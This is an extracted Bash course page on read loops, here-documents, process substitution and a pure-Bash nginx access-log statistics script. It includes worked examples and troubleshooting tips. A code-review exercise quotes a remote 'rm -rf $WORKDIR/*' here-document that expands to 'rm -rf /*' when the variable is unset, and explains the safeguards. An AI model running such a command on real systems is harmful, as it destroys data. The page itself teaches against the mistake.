In the real world, the commands that “eat stdin” are ssh (use ssh -n or </dev/null),ffmpeg (-nostdin),docker exec -i,mysql etc. Using fd 3 is the most thorough approach: the loop's data and the loop body's stdin are fully separate.
cd ~/bashlab/part2 && rm -rf -- m6.Problem:while read -r host; do ssh "$host" 'uptime'; done < hosts.txt Only the first host was processed. ssh read the loop's remaining stdin (the other hostnames) and forwarded it to the remote command. Fix:ssh -n or ssh … </dev/null, or read the host list from fd 3. Limitation: For concurrency, switch to xargs -P, GNU parallel or Ansible.
Problem:grep ERROR app.log | while read -r l; do ((errors++)); done; echo "$errors" The output is empty or 0, and the alert never fires. Fix:while …; done < <(grep ERROR app.log); or simply errors=$(grep -c ERROR app.log). Limitation: A failure in a process substitution's command is not reflected in the loop's exit status; when needed, use wait $! to check (Bash 4.4+), or write to a temp file first.
Problem: A user edited allowlist.txt in Windows Notepad, the last line has no newline, and every line ends with \r. The last IP is skipped, and the other IPs fail the comparison because of \r so none match. Fix:while IFS= read -r ip || [[ -n $ip ]]; do ip=${ip%$'\r'}; …; in CI, use .editorconfig or git config core.autocrlf to normalize line endings.
Cause: The pipe puts the loop in a subshell. Diagnosis: Print inside and outside the loop: $BASHPID. Fix:done < <(cmd),done < file, or in scripts shopt -s lastpipe. ShellCheck flags SC2030/SC2031 (variable modified in a subshell).
Cause: the last line lacks a newline, so read returns 1. Diagnosis:tail -c 1 file | od -c check whether the last byte is \n. Fix:|| [[ -n $line ]], or use mapfile.
Cause: The line ends with \r (CRLF file) or invisible whitespace. Diagnosis:printf '%q\n' "$v" Show $'prod\r'. Fix:v=${v%$'\r'} or preprocess tr -d '\r'.
Cause: a command in the loop body consumed the remaining input. Fix: Give that command </dev/null, or use fd 3 for the loop: while read -r -u 3 x; do …; done 3< file.
Cause: Bash 3.2 (macOS) or sh. Fix: Use Bash ≥ 4; for compatibility, use arr=(); while IFS= read -r l; do arr+=("$l"); done < f.
Cause: in an environment without /dev/fd support (some minimal containers do not mount /proc), in POSIX mode (sh ), running set -o posix (process substitution is disabled before 5.1), or passing <(…) to a program that opens the path later in another process (such as sudo or a background job). Fix: run with bash; mount /proc; use a temp file or a named pipe instead.
find "$DATA/files" -type f -print0 safely into an array files, and print the count (give one Bash 4.4+ version and one compatible version).mapfile -d '' -t files < <(find "$DATA/files" -type f -print0) # 4.4+
files=(); while IFS= read -r -d '' f; do files+=("$f"); done < <(find "$DATA/files" -type f -print0)
echo "${#files[@]}"declare -A by_ip=()
while read -r ip _; do (( ++by_ip[$ip] )); done < "$DATA/access.log"
for ip in "${!by_ip[@]}"; do echo "${by_ip[$ip]} $ip"; done | sort -rnshopt -s lastpipe and it doesn't work at all,echo hi | read x; echo $x it's still empty.” Explain why, and say whether a script can rely on lastpipe.Interactive shells enable job control by default (set -m), the manual says lastpipe has no effect when job control is on, so nothing shows up in the terminal; first run set +m then just try again. A script (non-interactive) has no job control by default, so lastpipe takes effect, and Bash ≥ 4.2 can rely on it. However, it only affects the pipeline's last element, and it makes the script implicitly depend on a shell option; the clearer, more portable approach is still done < <(cmd).
No verified long-form video on “subshell variable loss in pipelines” was found (search results were mostly short videos of unknown origin), so a storyboard script is provided below.
This courseware cannot generate video/MP3 directly; the storyboard and narration below can be handed to a video tool.
printf … | while read, printing count 1, 2 and 3 inside the loop and 0 outside; a question mark appears on screen.<<EOF (the body undergoes parameter expansion, command substitution and arithmetic expansion),<<'EOF' (any quoting in the delimiter → the body is not expanded at all),<<-EOF (strips the leading tabs from the body and the end line, not spaces).cmd <<< "$var" instead of echo "$var" | cmd (no pipe subshell is created, and a trailing newline is added automatically).<(cmd) to pass a command's output as a file to programs that need a filename (diff,comm,paste), use >(cmd) to split output (tee >(…)); on Linux it appears as a path like /dev/fd/63 , which is backed by a pipe.${ cmd; } (runs in the current shell and captures output without forking) and ${| cmd; } (captures REPLY).| Construct | Syntax | The command sees | standard |
|---|---|---|---|
| Here document | cmd <<DELIM … DELIM | input (stdin, fd 0): multi-line text | POSIX |
| Here string | cmd <<< word | the expanded word result on stdin, plus one newline | Bash/ksh/zsh |
| Process substitution (input) | cmd <(list) | a filename argument, for example /dev/fd/63, reading it yields the output of list | Bash/ksh/zsh (needs /dev/fd or named pipes) |
| Process substitution (output) | cmd >(list) | a filename argument; data written to it becomes the stdin of list | Same as above |
| Delimiter form | Body handling | Tested (env=prod port=8080) |
|---|---|---|
<<EOF | parameter expansion, command substitution, arithmetic expansion; \$,\`,\\ and \ backslashes in the body act as escapes | env=$env port=$((port+1)) user=\$USER → env=prod port=8081 user=$USER |
<<'EOF' or <<"EOF" or <<\EOF | not expanded at all, output as-is | env=$env port=$((port+1)) verbatim |
<<-EOF | strips leading tabs (Tab) from each line; can be combined with quoting <<-'EOF' | an indented body inside an if block is output without indentation |
The closing delimiter must be alone on its line, flush left (<<- leading tabs allowed). No trailing spaces are allowed. If the delimiter is not found, Bash reads to the end of the file and prints a warning: warning: here-document at line 1 delimited by end-of-file (wanted `EOF') (tested), so all code after it is treated as body text.
echo statements, and it <<'EOF' does not expand variables early when generating another script (validate.sh in Module 4 was generated this way).read -r a b <<< "$line" assignments happen in the current shell; echo "$line" | read a b assignments inside it are lost (Module 6).diff <(ssh a cat /etc/hosts) <(ssh b cat /etc/hosts).cmd | tee >(gzip > log.gz) >(grep ERROR > err.txt) >/dev/null.$TMPDIR or /tmp), then points the command's fd 0 at it. TMPDIR If it is not writable, older Bash reports "cannot create temp file for here-document".<(list): Bash creates a pipe, forks a child to run list (its stdout connected to the pipe's write end), keeps the read end as some fd in the current shell (e.g. 63), then replaces the word <(list) with /dev/fd/63. The command opens this path, which duplicates that fd. Tested with ls -l <(true) shows it points to pipe:[…]. On systems without /dev/fd, a named pipe (FIFO) is used instead.${ cmd; }: runs cmd in the current shell and captures its standard output as the expansion result (NEWS 5.3: "without forking a child process and using pipes"); variable changes made inside cmd persist in the current shell. ${| cmd; } then expands to the value of REPLY after cmd runs. Both forms are syntax errors in Bash 5.2 and earlier.| Need | Choose |
|---|---|
| Multi-line fixed template (variables need substitution) | cat <<EOF > file |
Generating a script / text containing $ characters | cat <<'EOF' > file |
| Writing requires root privileges | sudo tee /etc/x.conf >/dev/null <<'EOF' (sudo cat > file does not work: the redirection is performed by the current user's shell) |
| Feeding a variable to read / a filter command | <<< "$var" |
| The program only accepts filename arguments | <(cmd) |
| Looping over command output while keeping variables | done < <(cmd) |
| POSIX sh | Here-doc only; otherwise a temp file (mktemp + trap cleanup from Lesson 4) |
<<- removes indentation spaces”—only tabs are removed; an editor that converts tabs to spaces breaks the script. ② “<<'EOF' is just style”—it determines whether the body is expanded; if you get it wrong when generating a script, the current environment's variable values get “baked” into the file. ③ “here-string passes the string verbatim”—it appends a newline at the end (tested od -c <<< ab → a b \n). ④ “<(cmd) is a temp file”—on Linux it is a pipe, which can only be read once. ⑤ “diff <(…) <(…) two commands run in sequence”—they actually run at the same time.Pick a form and step through the setup Bash performs before the command runs: expanding the body (or not), creating the pipe or temp file, forking the producer, rewriting argv, and wiring the fds. Only then does the command start.
env=prod port=8080 cat <<EOF env=$env port=$((port+1)) user=\$USER date=$(echo 2026-11-17) EOF cat <<'EOF' env=$env port=$((port+1)) EOF if true; then cat <<-EOF tab-indented $env EOF fi tr a-z A-Z <<< "here $env" od -c <<< "ab" | head -1 read -r first rest <<< "one two three"; echo "first=$first rest=$rest"
env=prod port=8081 user=$USER date=2026-11-17 env=$env port=$((port+1)) tab-indented prod HERE PROD 0000000 a b \n first=one rest=two three
<<- The examples use Tab indentation. When copying from the web page, Tabs may be converted to spaces, so the end line is not recognized. If you see the "delimited by end-of-file" warning, change the indentation back to Tabs or switch to an unindented <<EOF form.
diff <(printf 'a\nb\n') <(printf 'a\nc\n'); echo "diff rc=$?" echo <(true) ls -l <(true) | sed 's/.* -> //' printf 'x\ny\n' | tee >(wc -l > count.txt) >/dev/null; sleep 0.2; cat count.txt # store a here-doc in a variable (two ways) read -r -d '' msg <<'EOF' line1 line2 EOF echo "rc=$? msg=[$msg]" msg2=$(cat <<EOF a $env b EOF ); printf '%s\n' "$msg2" # here-doc as input to a while loop while IFS='=' read -r k v; do echo "k=$k v=$v"; done <<EOF A=1 B=$env EOF
2c2 < b --- > c diff rc=1 /dev/fd/63 pipe:[30064818796] 2 rc=1 msg=[line1 line2] a prod b k=A v=1 k=B v=prod
Note:read -r -d '' msg <<EOF returns 1 at EOF (no NUL delimiter was found). In the Lesson 4 set -e context, write it as read -r -d '' msg <<'EOF' || true. tee >(…) child process is asynchronous, so the example sleeps briefly before reading the result; in production, use wait $! (Bash 4.4+ $! refers to the most recent process substitution, which can be waited on; with several, record each one in turn $!) or switch to a plain pipe.
# Bash 5.3+ only
count=0
out=${ echo "hello"; count=5; } # runs in the current shell; note the space after { and the ; at the end
echo "$out count=$count"
out2=$( echo "hello"; count=9; ) # classic form: subshell, count does not change
echo "$out2 count=$count"
greet() { REPLY="hi $1"; }
msg=${| greet ops; } # expands to the REPLY value after execution
echo "$msg"
hello count=5 hello count=5 hi ops
On 5.2 and earlier,${ …; } reports "bad substitution". Do not use it in scripts that must run on older versions.
$ variables must not be expanded):
cd ~/bashlab/part2 && mkdir -p m7 && cd m7
upstream=myapp port=5000
mapfile -t web_ips < <(while IFS=, read -r n e r ip role; do [[ $role == web && $e == prod ]] && echo "$ip"; done < "$DATA/servers.csv")
{
echo "upstream $upstream {"
for ip in "${web_ips[@]}"; do echo " server $ip:$port max_fails=3;"; done
echo "}"
cat <<'EOF'
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent';
EOF
} > upstream.conf
cat upstream.conf
upstream myapp {
server 10.30.1.41:5000 max_fails=3;
server 10.30.1.42:5000 max_fails=3;
}
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent';
The role field of edge-01 (line 11) is quoted in the CSV "web,api"; IFS=, does not understand quoting, so the role variable gets the entire rest of the line, including the double-quote characters, which does not equal web, so it does not appear in the upstream block: another CSV boundary problem. The curly braces { …; } > file group the output of several commands together for one redirection (no subshell is created). nginx's $remote_addr etc. must be kept verbatim, so that section uses <<'EOF' If you use <<EOF, these variables are expanded by Bash to empty strings. This is the most common bug when generating nginx, systemd or Prometheus configs.
target=prod cat > show-env.sh <<EOF #!/usr/bin/env bash # Generated at: $(date +%F), target: $target echo "Run-time user: \$USER, argument count: \$#" EOF chmod +x show-env.sh; cat show-env.sh; ./show-env.sh a b
#!/usr/bin/env bash # Generated at: 2026-11-17, target: prod echo "Run-time user: $USER, argument count: $#" Run-time user: labadmin, argument count: 2
hosts_of() { while IFS=, read -r n e _; do [[ $e == "$1" ]] && echo "${n%-*}"; done < "$DATA/servers.csv" | sort -u; }
comm -3 <(hosts_of prod) <(hosts_of staging)
bastion edge
${n%-*} strips the numbering to get the role prefix; comm -3 shows lines that appear on only one side (lines that appear only in the second input start with a Tab). prod has bastion and edge, which staging lacks, while staging has no hosts outside prod, so no line starts with a Tab. comm requires sorted input, so hosts_of sort is applied inside the process substitutions.
tee >(grep -c ' 5[0-9][0-9] ' > loose.count) \
>(grep -c '" 5[0-9][0-9] ' > strict.count) \
>(gzip > access.copy.gz) < "$DATA/access.log" >/dev/null
sleep 0.5; echo "Loose: $(cat loose.count) Anchored quotes: $(cat strict.count)"; ls -l access.copy.gz
Loose: 42 Anchored quotes: 28 -rw-r--r-- 1 labadmin labadmin 9876 Nov 17 10:30 access.copy.gz
' 5[0-9][0-9] ' This will also count lines whose byte count is 5xx (e.g. line 52 "POST /api/orders HTTP/1.1" 201 506), giving 42; anchoring after the closing quote of the request line '" 5[0-9][0-9] ' is the status-code field, giving the correct 28 (Lesson 1 count: 500×12 + 502×4 + 503×12). Module 8 uses a regex to pinpoint each field.
cd ~/bashlab/part2 && rm -rf -- m7.$MAINPID is missingProblem: The install script uses cat <<EOF > /etc/systemd/system/app.service to write ExecReload=/bin/kill -HUP $MAINPID, and the generated file now contains /bin/kill -HUP , and reload fails with a kill error. Fix: Quote the whole block with <<'EOF'; when you really need to insert script variables, use an unquoted here-doc only for that part, or use \$MAINPID escapes; after generating the file, verify it with systemd-analyze verify (see Linux course, Lesson 2).
sudo cat > /etc/… fails with Permission deniedProblem: The redirection is performed by the current (non-root) shell before sudo starts. Fix:sudo tee /etc/app.conf >/dev/null <<'EOF' or sudo sh -c 'cat > /etc/app.conf' <<'EOF'. Limitation: tee echoes the content to stdout, so you need to add >/dev/null.
Scenario: Compare the sysctl settings of two servers without writing them to disk: diff <(ssh -n web-01 sysctl -a 2>/dev/null | sort) <(ssh -n web-02 sysctl -a 2>/dev/null | sort). The two ssh sessions run in parallel, about twice as fast as running them in series. Limitation: diff's exit code 1 means "there are differences", not an error; under Lesson 4's set -e handling; large-scale, continuous drift detection should be left to configuration management tools (Ansible check mode).
Cause: the end line is not exactly EOF: leading spaces, trailing spaces, or \r, using <<- with space indentation instead of Tabs. Diagnosis:cat -A script.sh | grep -n 'EOF'. Fix: Make the end line flush left with no trailing characters.
Cause: An unquoted delimiter was used. Fix:<<'EOF' or escape it in the body with \$.
Cause: the script is run by sh (dash), or written as < (cmd) (with a space in the middle). Fix: run it with bash; <( must be written together with no space.
Cause: Older Bash, or a here-doc larger than the pipe buffer, needs a temp file, and $TMPDIR (default /tmp) is full or read-only (e.g. systemd's ProtectSystem=strict is in effect and no PrivateTmp is set). Fix: set a writable TMPDIR, and clean up /tmp.
Cause: Bash < 5.3. Fix: use $(cmd); or check the version at the top of the script.
Cause: Process substitution is a pipe, and the program tries to seek or read twice. Fix: write to a temp file first: tmp=$(mktemp); cmd > "$tmp"; prog "$tmp"; rm -f -- "$tmp".
csv="a,b,c" into the array parts.IFS=, read -r -a parts <<< "$csv" declare -p parts
jq).comm -23 <(tail -n +2 "$DATA/servers.csv" | cut -d, -f1 | sort) \
<(jq -r '.[].name' "$DATA/inventory.json" | sort)jq is covered in detail in Lesson 6; here, get a feel for using the output of two commands directly as two files.
<<EOF to generate a script that runs remotely: ssh host bash <<EOF … rm -rf $WORKDIR/* … EOF. What problems would you raise in code review?In an unquoted here-doc, variables expand locally (on your machine) $WORKDIR: if it is unset locally, the remote side runs rm -rf /*. Be explicit about which side each variable expands on: inject local values safely with printf %q (or pass them via ssh arguments or environment), and use \$ or quote the whole <<'EOF'; then add ${WORKDIR:?} protection and set -u.
This course page cannot generate video or MP3 directly; the storyboard and narration below can be handed to a video tool.
$remote_addr is generated with <<EOF and <<'EOF' respectively; the former leaves blanks where the variables should be.[[ =~ ]] + BASH_REMATCH to parse one line of an nginx/gunicorn combined log (a User-Agent with spaces and quotes does not affect the fields before it).by_status,by_path,by_ip to count; use the index-array-order trick to print status codes numerically, and a pure-Bash selection algorithm to print the Top-N.${1:-…}), integer fixed-point decimals (5xx ratio),while IFS= read -r line || [[ -n $line ]],done < "$log" (keeping variables), bad-line counting, empty-data protection.opsctl logs report).Input: ~/bashlab/data/access.log (combined format). Output: total record count, number of unparseable lines, total bytes, 5xx ratio (two decimals), counts per status code (ascending numeric order), counts per status class (2xx/3xx/4xx/5xx), top 3 paths, top 3 client IPs. Constraints: no external commands (no awk, cut, sort or grep), runs on Bash ≥ 4.3 (uses nameref local -n).
| Design | Rationale | Module |
|---|---|---|
Store the regex in a variable re='…' | The regex contains spaces, quotes and brackets, so writing it directly in [[ ]] conflicts with shell syntax | M4 |
| Parse by regex, not by splitting on spaces | The User-Agent contains spaces; the ident/user fields may be - values other than that; usernames can also contain spaces (escaped). The regex anchors only the stable fields before them | M4, M6 |
declare -A by_status=() explicit initialization | Associative arrays must be declared; initialize them as empty arrays,set -u under ${#m[@]} set -u to stay safe | M3 |
(( by_status[$status]++ , … , total++ )) | One arithmetic command does several counts (comma operator) | M2 |
while IFS= read -r line || [[ -n $line ]] … done < "$log" | Keep the original line, handle a last line without a newline, and run the loop in the current shell | M6 |
order[code]=1 then iterate over "${!order[@]}" | Iterating index-array subscripts in numeric order gives free integer sorting | M3 |
| Top-N uses a selection algorithm | N is small (3), so O(N·K) is enough; avoid sort external commands | M5 |
(( total > 0 )) || exit 1 | Prevents division by 0 | M2 |
Parameters ${1:-$HOME/bashlab/data/access.log} | Defaults + overridable | M1 |
re='^([^ ]+) [^ ]+ [^ ]+ \[([^]]+)\] "([A-Z]+) ([^ "]+)[^"]*" ([0-9]{3}) ([0-9]+|-)'
# ^^^^^^^ 1 client IP
# ^^^^^ ^^^^^ ident, user (not captured)
# ^^^^^^^^^^^^^ 2 time [17/Nov/2026:10:00:01 +0000]
# ^^^^^^^^ 3 method
# ^^^^^^^^ 4 path (including query string)
# ^^^^^^ protocol and the rest (not captured)
# ^^^^^^^^^^ 5 status code
# ^^^^^^^^^^ 6 bytes, or -
In ERE, [^]] means “any character except ] ”, (] a literal when it directly follows [^ ). The regex does not need to match to the end of the line; nothing in the Referer or User-Agent affects the first 6 fields.
| Data volume | Pure Bash (this module) | awk (Lesson 5) |
|---|---|---|
| Hundreds to tens of thousands of lines (a time window during troubleshooting) | ✓ Fast enough, no external dependencies, and the logic can share variables with the rest of the script | ✓ |
| Hundreds of thousands of lines or more | ✗ One regex match per line plus many array operations makes it noticeably slower (see the local measurements on the Commands tab) | ✓ Usually one to two orders of magnitude faster |
| Continuous monitoring | ✗ Neither is suitable → structured logs + Prometheus / Loki (see Prometheus & Grafana course) | |
read -r ip _ _ _ _ _ _ _ status size _ splitting on spaces is enough”—this works for standard combined logs (the Module 2 lab does exactly that), but if the request line contains spaces (a malformed request "GET /a b HTTP/1.1") or "-" (an empty request, status 400), the fields shift; a regex can identify these lines as bad. ② “Associative arrays are iterated in insertion order”—they are not, so sort explicitly. ③ “Pure Bash is always faster than calling awk”—for small data it avoids a fork; for large data awk is far faster.sortClick "Play": log lines enter the parser one by one. When the regex matches, the capture groups are highlighted and the counter table on the right is updated; bad lines that do not match go into "unparseable". Finally, sorting and Top-N run. So you can watch line by line, the animation uses only 10 sample lines (the small sample in the Module 0 collapsible section, same format as access.log) plus one bad line with no trailing newline. The final numbers match exactly the result of actually running logstats.sh on these 11 lines; for the full 611-line dataset, see the Commands tab.
#!/usr/bin/env bash
# logstats.sh — pure Bash access log statistics (Lesson 2 capstone)
# Usage: logstats.sh [logfile] (defaults to ~/bashlab/data/access.log)
set -uo pipefail
log=${1:-$HOME/bashlab/data/access.log}
[[ -r $log ]] || { printf 'logstats: cannot read %s\n' "$log" >&2; exit 2; }
# Combined log format: IP ident user [time] "METHOD PATH PROTO" STATUS BYTES "referer" "UA"
re='^([^ ]+) [^ ]+ [^ ]+ \[([^]]+)\] "([A-Z]+) ([^ "]+)[^"]*" ([0-9]{3}) ([0-9]+|-)'
declare -A by_status=() by_path=() by_ip=()
declare -i total=0 bad=0 bytes=0 err5=0
while IFS= read -r line || [[ -n $line ]]; do
if [[ $line =~ $re ]]; then
ip=${BASH_REMATCH[1]} path=${BASH_REMATCH[4]}
status=${BASH_REMATCH[5]} size=${BASH_REMATCH[6]}
path=${path%%\?*} # strip query string
(( by_status[$status]++ , by_path[$path]++ , by_ip[$ip]++ , total++ ))
[[ $size == - ]] || (( bytes += size ))
[[ $status == 5* ]] && (( err5++ ))
else
(( bad++ ))
fi
done < "$log"
(( total > 0 )) || { echo "logstats: no parseable records" >&2; exit 1; }
printf 'File: %s\nRecords: %d (unparseable %d)\nTotal bytes: %d\n' "$log" "$total" "$bad" "$bytes"
printf '5xx ratio: %d.%02d%%\n' $(( err5*100/total )) $(( err5*10000/total % 100 ))
echo "== By status code =="
declare -a order=()
for code in "${!by_status[@]}"; do order[code]=1; done # sort numerically using an indexed array
for code in "${!order[@]}"; do
printf '%s %5d\n' "$code" "${by_status[$code]}"
done
echo "== By status class =="
declare -A klass=()
for code in "${!by_status[@]}"; do
(( klass[${code:0:1}xx] += by_status[$code] ))
done
for k in 2xx 3xx 4xx 5xx; do printf '%s %5d\n' "$k" "${klass[$k]:-0}"; done
top() { # top <assoc-array name> <N>: pure Bash selection sort
local -n _m=$1; local n=$2 i k best
local -A seen=()
for (( i = 0; i < n; i++ )); do
best=
for k in "${!_m[@]}"; do
[[ -v seen[$k] ]] && continue
if [[ -z $best ]] || (( _m[$k] > _m[$best] )); then best=$k; fi
done
[[ -n $best ]] || break
seen[$best]=1
printf '%5d %s\n' "${_m[$best]}" "$best"
done
}
echo "== Top 3 paths =="; top by_path 3
echo "== Top 3 client IPs =="; top by_ip 3
File: /home/labadmin/bashlab/data/access.log Records: 611 (unparseable 0) Total bytes: 2703396 5xx ratio: 4.58% == By status code == 200 450 201 54 301 12 302 19 304 22 400 11 401 6 404 9 500 12 502 4 503 12 == By status class == 2xx 504 3xx 53 4xx 26 5xx 28 == Top 3 paths == 211 /api/orders 121 /healthz 75 / == Top 3 client IPs == 75 198.51.100.23 69 203.0.113.99 64 203.0.113.7
Matches the Lesson 1 dataset facts item by item: 611 lines, 28 5xx responses (500×12 + 502×4 + 503×12), 26 4xx, /api/orders 211 times, /healthz 121 times. The apostrophe in the User-Agent on line 307 and \x22 do not affect parsing, because the regex never reads the User-Agent. The file path line depends on your home directory.
| Code snippets | Key points | How to verify |
|---|---|---|
set -uo pipefail | Unset variables error out and pipeline failures become visible (full strict mode is in Lesson 4; deliberately not enabled here -e, because (( … total++ )) returns 1 on the first count) | Remove declare -A by_ip=() and run, then observe the error. |
(( a++ , b++ )) | comma operator; the last expression determines the exit status | (( x=0, x++ )); echo $? → 1 |
local -n _m=$1 | nameref (4.3+) lets the function operate on the caller's array by name; covered in detail in Lesson 3. The name uses an underscore prefix to avoid clashing with the caller's variable names | top by_ip 1 |
[[ -v seen[$k] ]] | Check whether a key exists in an associative array | and ${seen[$k]:-} compared side by side |
${code:0:1}xx | Substring expansion | code=404; echo ${code:0:1}xx |
On the machine used to build this course (Git Bash 5.2.37 on Windows; fork costs more than on Linux, but logstats itself does not fork), the 10-line sample repeated to 50 000 lines: logstats.sh and the equivalent awk '{c[$9]++} END{…}' timings are in the table below; absolute numbers on Linux differ, but the "one to two orders of magnitude" conclusion holds. This is why Lesson 5 rewrites it as the awk version opsctl logs report .
| 50 000 lines | real | Notes |
|---|---|---|
bash logstats.sh big.log | 25.8 s | Full statistics (3 associative arrays + regex + Top-N) |
awk '{c[$9]++} END{…}' big.log | 0.05 s | Status codes only (fewer features, but still sub-second even with matching features) |
Git Bash (MSYS2 runtime) has higher system-call overhead than Linux; absolute times on native Linux Bash are usually shorter (not measured for this course), but the conclusion that the gap to awk is one to two orders of magnitude still holds. Conclusion: pure Bash suits a troubleshooting window of a few thousand lines, not full logs.
~/bashlab/part2/logstats.sh (you can use cat > logstats.sh <<'EOF' … EOF, note that you must use a quoted delimiter, otherwise the $line and similar parts are expanded to empty strings when written).
cd ~/bashlab/part2 # Paste the script into an editor and save it, or use a quoted here-doc chmod +x logstats.sh bash -n logstats.sh && echo "Syntax check passed" command -v shellcheck >/dev/null && shellcheck logstats.sh
Syntax check passed
./logstats.sh (by default reads ~/bashlab/data/access.log), and compare the output with that on the Commands tab.cp -- "$DATA/access.log" test.log printf '%s\n' '203.0.113.9 - - [17/Nov/2026:10:01:00 +0000] "-" 400 0 "-" "-"' >> test.log printf '%s' 'malformed line without newline' >> test.log ./logstats.sh test.log | head -n 3
File: test.log Records: 611 (unparseable 2) Total bytes: 2703396
Empty request "-" does not match the regex's "([A-Z]+) …", so it is counted as bad. The last line, although it has no trailing newline, is still || [[ -n $line ]] and counted as bad. If you remove || [[ -n $line ]], the unparseable count becomes 1.
: > empty.log; ./logstats.sh empty.log; echo "rc=$?" ./logstats.sh /nonexistent; echo "rc=$?"
logstats: no parseable records rc=1 logstats: cannot read /nonexistent rc=2
BASH_REMATCH[2] (17/Nov/2026:10:00:01 +0000 with parameter expansion to take the hour ${t:12:2}, use 10# to convert it to a number and use it as an indexed-array subscript—another "free sorting" example.--top N (parse with case; Lesson 3 covers getopts).cat <<EOF), to generate a Markdown report.by_ip whose request count exceeds a threshold and whose 4xx ratio is high as "suspicious" (you need another associative array ip_4xx).logstats.sh (Lesson 5 compares it with the awk version); delete the test file rm -f -- test.log empty.log.Scenario: An alert shows the 5xx ratio rising. The on-call engineer logs in to a minimal node with no extra tools installed (only Bash and BusyBox). Approach: Reduce the logstats.sh approach to one line: declare -A c=(); while IFS= read -r l; do [[ $l =~ $re ]] && [[ ${BASH_REMATCH[5]} == 5* ]] && (( ++c[${BASH_REMATCH[4]}] )); done < access.log; declare -p c. Limitation: For large files, first use tail -n 50000 to cut a time window (feed it to the loop with process substitution).
Problem: The application writes the log directly, and the last line has not been fully written yet when the count runs (no newline). Approach: In this case, being "one short" is actually correct: an incomplete line should not be counted. logstats validates each line with a regex, so a half-written line is counted as "unparseable" rather than treated as a valid record. Lesson learned: Whether the "last line" should be processed depends on the data source: configuration files should be processed, while logs still being written usually should not.
Scenario: logstats became popular within the team, and someone started running it on a 2 GB log, which takes over ten minutes. Approach: Keep Bash as the "glue" (argument parsing, input selection, output formatting), replace the line-by-line processing with awk (Lesson 5), and add bats tests (Lesson 7) to prevent regressions. The long-term fix is for the application to emit structured logs that a logging platform aggregates.
Cause: The log is not in combined format (for example JSON logs, a custom log_format, or gunicorn's default format, where the time field is in a different position), or the lines end with \r (CRLF). If the regex itself is unaffected, the most likely cause is that it was quoted (literal match). Diagnosis: Take one line line=$(head -1 "$log"); [[ $line =~ $re ]]; echo $?; declare -p BASH_REMATCH, and shorten the regex step by step to find where it stops matching.
Cause: Bash < 4.3 does not support nameref. Fix: Upgrade Bash, or change the top function to operate directly on global arrays (write a loop for each array).
Cause: The first is forgetting to declare -A by_ip=() (under set -u); the second is an empty status code (the capture group numbers changed after the regex was edited). Fix: Initialize all arrays; after changing the regex, use declare -p BASH_REMATCH to confirm the numbering.
Cause: Changed to cat "$log" | while … or tail -n 1000 "$log" | while …, so the loop runs in a subshell (Module 6). Fix:done < <(tail -n 1000 "$log").
Cause: Inherent overhead of pure Bash line-by-line processing; if the loop also calls external commands (date,cut), a fork per line makes it another order of magnitude slower. Fix: First confirm that the loop has no external commands; for large data, switch to awk.
declare -a by_hour=()
# Inside the loop, after a successful match:
t=${BASH_REMATCH[2]} # 17/Nov/2026:10:00:01 +0000
h=$(( 10#${t:12:2} )) # 10
(( by_hour[h]++ ))
# After the loop:
for h in "${!by_hour[@]}"; do printf '%02d:00 %d\n' "$h" "${by_hour[h]}"; doneGET /api/orders).declare -A by_route=()
(( by_route["${BASH_REMATCH[3]} ${BASH_REMATCH[4]}"]++ ))It can serve as a stopgap, but you must solve: ① incremental processing: counting the whole file each time double-counts, so record the last read offset (or use tail -n / filter by time window), handle log rotation; ② performance: pure Bash slows as logs grow; ③ reliability: cron's environment variables differ (HOME,PATH), so use explicit paths, a lock to prevent overlapping runs (Lesson 4), and failure alerts; ④ alert de-duplication and recovery notifications. A better long-term approach is for the application to expose http_requests_total{status=…} data, with Prometheus computing the ratio and alerting.
No verified dedicated video on "counting nginx access logs with pure Bash" was found. The following videos cover the components used in this module:
This course page cannot generate video or MP3 directly; the storyboard and narration below can be handed to a video tool.
${v:-default} ${v:=default} ${v:?error} ${v:+alternate}
${v-default} # no colon: only unset counts as missing
${v#pat} ${v##pat} # remove prefix: shortest / longest
${v%pat} ${v%%pat} # remove suffix: shortest / longest
${f##*/} ${f%/*} ${f%.*} ${f##*.}
${v/p/r} ${v//p/r} ${v/#p/r} ${v/%p/r}
${v:off:len} ${v: -3} ${#v}
${v^} ${v^^} ${v,} ${v,,} ${v@Q} ${v@U}(5.1+)
${!name} ${!prefix*} # indirect / list of variable namesn=$(( a + b * 2 )) # value (( n > 10 )) && echo big # exit status (( ++i )) # increment (always succeeds when i≥0) i=$(( i + 1 )) # assignment that always succeeds $(( 10#$m )) # 08/09 → decimal $(( 16#ff )) $(( 2#1010 )) $(( 0x1F )) printf '%d.%02d%%' $((a*100/b)) $((a*10000/b%100)) [[ $v =~ ^[0-9]+$ ]] || exit 2 # validate before computing
a=(x "y z"); a+=(w); a[10]=v
"${a[@]}" "${#a[@]}" "${!a[@]}" "${a[@]:1:2}"
"${a[-1]}" unset 'a[1]' a=("${a[@]}") # compact
(IFS=,; echo "${a[*]}") # join
declare -A m=()
(( ++m[$k] )) m[$k]+=" $v"
[[ -v m[$k] ]] ${m[$k]:-0}
for k in "${!m[@]}"; do …; done # unordered
declare -p a m # debugging[[ -z $s ]] [[ -n $s ]] [[ $a == "$b" ]]
[[ $f == *.log ]] # unquoted right side = glob
re='^([0-9]+)\.([0-9]+)$'; [[ $v =~ $re ]] && echo "${BASH_REMATCH[1]}"
[[ -f $p && -r $p ]] [[ -d $d ]] [[ $a -nt $b ]]
[[ -v var ]] [[ -t 1 ]]
(( a < b )) # numeric
[ "$x" = y ] # POSIX, must be quoted
case $x in a|b) …;; c*) …;& *) …;; esacfor f in dir/*; do [[ -e $f ]] || continue; …; done
shopt -s nullglob extglob globstar dotglob
for x in "${arr[@]}"; do …; done
for (( i = 0; i < n; i++ )); do …; done
until cmd; do (( SECONDS > deadline )) && break; sleep 1; done
break 2 continue
for …; do …; done > out.txt # redirect the whole loopwhile IFS= read -r line || [[ -n $line ]]; do
…
done < file
while …; done < <(cmd) # keeps variables
shopt -s lastpipe # in scripts: cmd | while keeps variables
IFS=, read -r a b rest <<< "$csv"
IFS=, read -r -a fields <<< "$csv"
while IFS= read -r -d '' f; do …; done < <(find . -print0)
mapfile -t lines < file mapfile -d '' -t fs < <(find . -print0)
cmd </dev/null while read -r -u 3 x; do …; done 3< file
v=${v%$'\r'} # strip CRcat <<EOF # expands $var $(cmd) $((…))
cat <<'EOF' # no expansion (generating scripts / templates)
cat <<-EOF # strip leading tabs
sudo tee /etc/x.conf >/dev/null <<'EOF'
cmd <<< "$var" # here-string (appends \n)
